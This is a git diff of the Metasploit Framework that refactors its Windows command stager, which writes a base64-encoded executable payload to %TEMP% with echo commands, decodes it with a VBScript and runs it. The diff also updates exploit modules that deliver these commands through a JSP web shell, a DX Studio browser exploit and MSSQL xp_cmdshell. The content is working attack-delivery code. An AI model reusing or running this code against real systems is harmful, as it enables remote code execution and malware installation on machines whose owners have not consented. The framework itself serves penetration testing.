diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 11746526d7..0129a07493 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -14,7 +14,7 @@ module Exploit::CmdStager # def initialize(info = {}) super - @cmdstager = nil + @cmd_list = nil end @@ -34,37 +34,25 @@ module Exploit::CmdStager end cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch) - cstager = cmdstager.generate(opts, linelen) + cmd_list = cmdstager.generate(opts, linelen) - if (cstager.nil?) - print_error("The cmdstager could not be generated") + if (cmd_list.nil? or cmd_list.length < 1) + print_error("The command stager could not be generated") raise ArgumentError end - @cmdstager = cstager - return cstager + @cmd_list = cmd_list end # - # Show the progress of the upload (XXX: uses printf/print) + # Show the progress of the upload # def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - - if(done.to_f < 99.00) - printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total) - $stdout.flush + if (done.to_f < 99.00) + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) end - - if(done.to_f > 99.00 && done.to_f < 100.00) - # just to beautify output so the handler output will kick in - print "\r\e[0K" - $stdout.flush - return - end - end end diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index ad4c0c341a..1f406f42ef 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -13,131 +13,119 @@ module Exploitation class CmdStager - module Windows - Alias = "win" - - module X86 - Alias = ARCH_X86 - end - - module X86_64 - Alias = ARCH_X86_64 - end - end - - def initialize(payload, framework, platform, arch = nil) @var_decoder = Rex::Text.rand_text_alpha(5) @var_encoded = Rex::Text.rand_text_alpha(5) @var_batch = Rex::Text.rand_text_alpha(5) @decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here @framework = framework - @exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded) @linelen = 2047 # covers most likely cases - platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList)) - - # Use the first architecture if one was specified - arch = arch[0] if (arch.kind_of?(Array)) - - if platform.nil? - raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter" - end - - CmdStager.constants.each { |c| - mod = self.class.const_get(c) - - next if ((!mod.kind_of?(::Module)) or - (!mod.const_defined?('Alias'))) - - if (platform =~ /#{mod.const_get('Alias')}/i) - self.extend(mod) - - if (arch and mod) - mod.constants.each { |a| - amod = mod.const_get(a) - - next if ((!amod.kind_of?(::Module)) or - (!amod.const_defined?('Alias'))) - - if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i) - amod = mod.const_get(a) - - self.extend(amod) - end - } - end - end - } - + # XXX: TODO: support multipl architectures/platforms + @exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded) end - # generates the cmd payload including the h2bv2 decoder and encoded payload - # also performs cleanup and removed any left over files + + # + # Generates the cmd payload including the h2bv2 decoder and encoded payload. + # The resulting commands also perform cleanup, removing any left over files + # def generate(opts = {}, linelen = 200) @linelen = linelen - cmd = payload_exe - return cmd + # Return the output from payload_exe + payload_exe(opts) end - def payload_exe(persist = false) - if(persist) - opts = {:persist => true} - else - opts = {} + # + # This does the work of actually building an array of commands that + # when executed will create and run an executable payload. + # + def payload_exe(opts) + + persist = opts[:persist] + + # Initialize an arry of commands to execute + cmds = [] + + # Add the exe building commands (write to .b64) + cmds += encode_payload() + + # Add the decoder script building commands + cmds += generate_decoder() + + # Make it all happen + cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs" + + # If we're not persisting, clean up afterwards + if (not persist) + cmds << "del %TEMP%\\#{@var_decoder}.vbs" + cmds << "del %TEMP%\\#{@var_encoded}.b64" end - decoder = generate_decoder() + # Compress commands into as few lines as possible. + new_cmds = [] + line = '' + cmds.each { |cmd| + # If this command will fit... + if ((line.length + cmd.length + 4) < @linelen) + line << " & " if line.length > 0 + line << cmd + else + # It won't fit.. If we don't have something error out + if (line.length < 1) + raise RuntimeError, 'Line fit problem -- file a bug' + end + # If it won't fit even after emptying the current line, error out.. + if (cmd.length > @linelen) + raise RuntimeError, 'Line too long - %d bytes' % cmd.length + end + new_cmds << line + line = '' + line << cmd + end + } + new_cmds << line if (line.length > 0) - exe = @exes.dup - encoded = encode_payload(exe) - - stage = encoded + decoder - stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n" - - if(not persist) - stage << "del %TEMP%\\#{@var_decoder}.vbs\n" - stage << "del %TEMP%\\#{@var_encoded}.b64\n" - end - - return stage + # Return the final array. + new_cmds end + def generate_decoder() - decoder = File.read(@decoder, File.size(@decoder)) + # Read the decoder data file + f = File.new(@decoder, "rb") + decoder = f.read(f.stat.size) + f.close + + # Replace variables decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs") decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64") decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe") - return decoder + # Split it apart by the lines + decoder.split("\n") end - def encode_payload(cmd) - tmp = Rex::Text.encode_base64(cmd) - encoded = "" - buf = buffer_exe(tmp) - buf.each_line { | line | - encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n" - } + def encode_payload() + tmp = Rex::Text.encode_base64(@exe) + orig = tmp.dup - return encoded - end - -protected - - # restricts line length of commands so that the commands will not exceed - # user specified values or os_detect set linelen - # each line will never exceed linelen bytes in length - def buffer_exe(buf) - 0.upto(buf.length) do | offset | - if(offset % @linelen == 0 && offset != 0 || offset == buf.length) - buf.insert(offset, "\n") - end + cmds = [] + l_start = "echo " + l_end = ">>%TEMP%\\#{@var_encoded}.b64" + xtra_len = l_start.length + @var_encoded.length + l_end.length + 1 + while (tmp.length > 0) + cmd = '' + cmd << l_start + cmd << tmp.slice!(0, (@linelen - xtra_len)) + cmd << l_end + cmds << cmd end - return buf + + cmds end end diff --git a/modules/exploits/test/cmdweb.rb b/modules/exploits/test/cmdweb.rb index c7b9bab5a3..f189d1b2c1 100644 --- a/modules/exploits/test/cmdweb.rb +++ b/modules/exploits/test/cmdweb.rb @@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote false end + def exploit - generate_cmdstager() - http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5) + cmd_list = generate_cmdstager() + http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list) handler + end - def http_send_cmd(opts, delay = 0.5) - len = @cmdstager.length + def http_send_cmd(opts, delay = 0.5, cmd_list) + + total_bytes = 0 + cmd_list.each { |cmd| total_bytes += cmd.length } + sent = 0 - - @cmdstager.each_line{ |cmd| - + cmd_list.each { |cmd| opts.each { |key, value| value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd)) resp = send_request_raw(opts, 5) value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS') - sent = sent + cmd.length + sent += cmd.length + # so multi threaded servers can place data in files in the correct order select(nil, nil, nil, delay) } - progress(len, sent) + progress(total_bytes, sent) } end diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 1f87f4e32c..fe043cfa0c 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote cmds = generate_cmdstager({}, 2047, p) scr = "" - cmds.each_line { |ln| - ln.chomp! + cmds.each { |ln| scr << " f.writeString('" scr << ln scr << "\\n');\n" diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 32828fdf1b..d12428a01f 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -15,19 +15,20 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL - def initialize(info = {}) + include Msf::Exploit::CmdStager + def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Payload Execution', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft SQL Server, using the Windows debug.com method for writing an executable to disk - and the xp_cmdshell stored procedure. File size restrictions are avoided by + and the xp_cmdshell stored procedure. File size restrictions are avoided by incorporating the debug bypass method presented at Defcon 17 by SecureState. Note that this module will leave a metasploit payload in the Windows System32 directory which must be manually deleted once the attack is completed. }, - 'Author' => [ 'David Kennedy "ReL1K" ' ], + 'Author' => [ 'David Kennedy "ReL1K" ', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => @@ -44,22 +45,49 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + register_options( + [ + OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), + OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]), + ]) end def exploit - - debug = false # enable to see the output - - if(not mssql_login_datastore) + + debug = datastore['VERBOSE'] # enable to see the output + + if(not mssql_login_datastore) print_status("Invalid SQL Server credentials") return end - - mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug) + + # Use the CmdStager or not? + if (not datastore['UseCmdStager']) + mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug) + else + cmd_list = generate_cmdstager({}, 1500) + total_bytes = 0 + cmd_list.each { |cmd| total_bytes += cmd.length } + + sent = 0 + delay = 0.25 + + cmd_list.each { |cmd| + mssql_xpcmdshell(cmd, debug) + sent += cmd.length + + # so multi threaded servers can place data in files in the correct order + select(nil, nil, nil, delay) + + progress(total_bytes, sent) + } + + end handler disconnect end + end